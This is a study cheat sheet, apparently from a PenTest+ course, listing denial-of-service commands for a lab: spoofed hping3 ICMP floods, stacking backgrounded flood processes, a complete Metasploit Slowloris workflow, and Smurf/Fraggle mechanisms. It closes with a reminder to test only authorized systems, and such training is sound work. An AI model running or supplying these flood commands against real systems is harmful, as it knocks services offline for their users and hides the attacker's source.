

DoS Attack Tools — Deep Cheat Sheet

Full syntax + use-case reference for every platform/tool/command in this lesson

Prepared for Goraya, Red Team Intern | Source: ITProTV PenTest+ Series | Level: Junior Pen Tester

hping3 CLI Tool

"Ping on steroids" — raw packet crafting tool for volumetric / protocol-level DoS testing. Included on Kali Linux.

1. View All Options

SYNTAX

```
hping3 --help
```

Use case: First command to run before any engagement — lists every available flag (count, interval, flood, interface, IP modes, spoof, fragmentation, MTU, ICMP types, flag-setting) so you can choose the right combination for the test scenario.

2. Volumetric ICMP Flood (Spoofed Source)

SYNTAX

```
sudo hping3 --flood --spoof <fake-source-ip> --icmp <target-ip>
```

```
sudo hping3 --flood --spoof 192.168.241.133 --icmp 192.168.241.130
```

Flag	Deep Explanation
<code>sudo</code>	Required — raw packet crafting needs low-level socket access (root privileges).
<code>--flood</code>	Sends packets as fast as the system allows and does not wait to display replies — maximizes packet rate for volumetric impact.
<code>--spoof <ip></code> (or <code>-a</code>)	Forges the source IP address on outgoing packets so traffic does not appear to originate from the attacker's real address.
<code>--icmp</code>	Builds packets using the ICMP protocol (ping-style) instead of raw IP / UDP / TCP.
<code><target-ip></code>	The final positional argument — the intended target/victim IP address.

Use case: Simulating a volumetric denial-of-service flood against a lab target to observe bandwidth/CPU saturation and rising response latency.

3. Run the Flood as a Background Job

SYNTAX

```
<command> & (append an ampersand to any command)
```

```
sudo hping3 --flood --spoof 192.168.241.133 --icmp 192.168.241.130 &
```

Use case: Frees the terminal so you can immediately open a second terminal and run a monitoring command (like `ping`) against the same target while the flood continues running.

4. Stack Multiple Flood Processes

Technique: Re-run the same backgrounded `hping3 --flood` command multiple times in a row. Each run adds another simultaneous flood process against the target, cumulatively increasing the load and

pushing target response times higher (observed climbing from sub-1ms to 37-47ms+ across repeated runs).

ping CLI Tool

Standard ICMP echo tool — used here purely as a monitoring/verification tool, not as the attack itself.

Monitor Target Responsiveness During an Attack

SYNTAX

```
ping <target-ip>
```

```
ping 192.168.241.130
```

Use case: Run in a second terminal, in parallel with an hping3 flood, to measure and record the increase in round-trip response time as evidence of impact — this is the exact data you'd screenshot for a DoS assessment report.

Bash Job Control Shell / CLI

Built-in shell commands for tracking and stopping background processes — essential for cleanly ending a multi-process flood test.

List All Running Background Jobs

SYNTAX

```
jobs
```

Use case: After launching several backgrounded hping3 flood processes, use `jobs` to see how many are active and their job numbers (e.g. 1 through 7) before cleaning them up.

Kill All Background Jobs in One Loop

SYNTAX

```
for i in %1 %2 %3 ...; do kill $i; done
```

```
for i in %1 %2 %3 %4 %5 %6 %7; do kill $i; done
```

Part	Deep Explanation
<code>%N</code>	Shell syntax referring to background job number N in the current session.
<code>for i in ...</code>	Loops through each job reference one at a time, assigning it to variable <code>i</code> .
<code>kill \$i</code>	Sends a termination signal to the process behind that job number.
<code>done</code>	Closes the for-loop.

Use case: Stopping every stacked hping3 flood process at once, instead of killing them one-by-one, immediately restoring normal target responsiveness — confirms the flood (not something else) caused the slowdown.

Metasploit Framework (msfconsole) Framework

Exploitation framework used here to run the pre-built Slowloris auxiliary module — an application-layer connection-exhaustion DoS attack.

1. Launch the Framework

SYNTAX

```
msfconsole
```

Use case: Opens the Metasploit interactive console where exploit/auxiliary modules can be searched, configured, and run.

2. Search For a Module

SYNTAX

```
search <module-name>
```

```
search slowloris
```

Use case: Finds all modules matching the keyword — here, locates the Slowloris auxiliary/DoS module by name, returning a numbered list of matches.

3. Select a Module From Search Results

SYNTAX

```
use <result-number>
```

```
use 0
```

Use case: Loads the module at index 0 (the first/top result) from the previous search, making it the active module for configuration.

4. View Module Details

SYNTAX

```
info
```

Use case: Displays the module's full description — confirms exactly what the module does (e.g. "tries to keep many connections to the target web server open... sending a partial request periodically... never completing the request") before running it against a target.

5. View / Set Required Options

SYNTAX

```
options then set RHOST <target-ip>
```

```
options
set RHOST 192.168.241.130
```

Command	Deep Explanation
<code>options</code>	Lists all configurable parameters for the currently loaded module — the lesson notes Slowloris only required setting the target host.
<code>set RHOST <ip></code>	Sets the Remote Host option — the target web server's IP address to attack.

Use case: Configuring the module to point at your authorized lab web server before launching the attack.

6. Launch the Module

SYNTAX

`exploit` or `run`

`exploit`

Use case: Executes the module — for Slowloris, this begins opening sockets to the target and sending incomplete HTTP headers, gradually filling the server's connection pool and denying new legitimate connections.

Full Slowloris Workflow (Combined)

```
msfconsole
search slowloris
use 0
info
options
set RHOST 192.168.241.130
exploit
```

Broadcast-Based Attacks

Concept / Legacy Technique

No specific tool/command given in the lesson — documented here as mechanism reference (conceptually performed with tools like `hping3` using a broadcast destination).

Attack	Protocol / Ports	Mechanism
Smurf	ICMP	Spoofed ICMP echo request sent to the network's broadcast address ; every host on the segment replies to the spoofed (victim) source, flooding the victim.
Fraggle	UDP — Port 7 (Echo), Port 19 (Chargen)	Same broadcast-abuse concept as Smurf, but uses UDP echo/chargen ports instead of ICMP.

Use case: Recognize these as legacy but conceptually important amplification techniques — useful for explaining amplification/reflection fundamentals even though modern networks largely block directed broadcast traffic.

Authorization Reminder: Every command on this sheet generates real denial-of-service traffic. Only run these against systems you own or are explicitly authorized to test (e.g. your own Kali + Metasploitable2 lab). Always track and clean up background jobs (`jobs` / `kill`) before ending a test session.

Command Index — Quick Lookup

Command	Platform	Purpose
<code>hping3 --help</code>	hping3	List all packet-crafting options
<code>sudo hping3 --flood --spoof <ip> --icmp <target></code>	hping3	Volumetric spoofed ICMP flood

<code><cmd> &</code>	Bash	Run command in background
<code>ping <target></code>	ping	Monitor target response time
<code>jobs</code>	Bash	List background jobs
<code>for i in %1..%N; do kill \$i; done</code>	Bash	Stop all background flood jobs
<code>msfconsole</code>	Metasploit	Launch framework console
<code>search slowloris</code>	Metasploit	Find the Slowloris module
<code>use 0</code>	Metasploit	Select module from search results
<code>info</code>	Metasploit	View module description
<code>options</code>	Metasploit	View configurable module parameters
<code>set RHOST <ip></code>	Metasploit	Set target IP
<code>exploit / run</code>	Metasploit	Launch the module against the target

Deep reference sheet • companion to the full "Denial of Service Attacks Explained & Demonstrated" study notes PDF